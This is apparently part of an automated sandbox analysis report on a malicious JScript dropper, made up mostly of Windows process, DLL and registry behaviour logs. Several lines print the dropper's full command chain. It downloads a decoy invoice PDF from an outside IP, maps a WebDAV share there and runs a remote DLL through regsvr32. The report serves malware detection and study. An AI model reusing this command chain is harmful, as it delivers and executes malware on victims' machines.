Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\5917.js.csv");ITextStream.WriteLine(" entry:8738 f:dorav");ITextStream.WriteLine(" exec:2 f:dorav");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5037			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4724			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7088	Thread sleep count: 5037 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7088	Thread sleep count: 4724 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6104	Thread sleep time: -14757395258967632s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2448	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1172	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7100	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 4228	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 940	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000002.2117408876.000001EA0DD88000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2117500296.000001EA0DDE9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3335389162.000001D43DE58000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000009.00000002.3334160913.000001D43862B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25336271991288.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25336271991288.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25336271991288.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\25336271991288.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
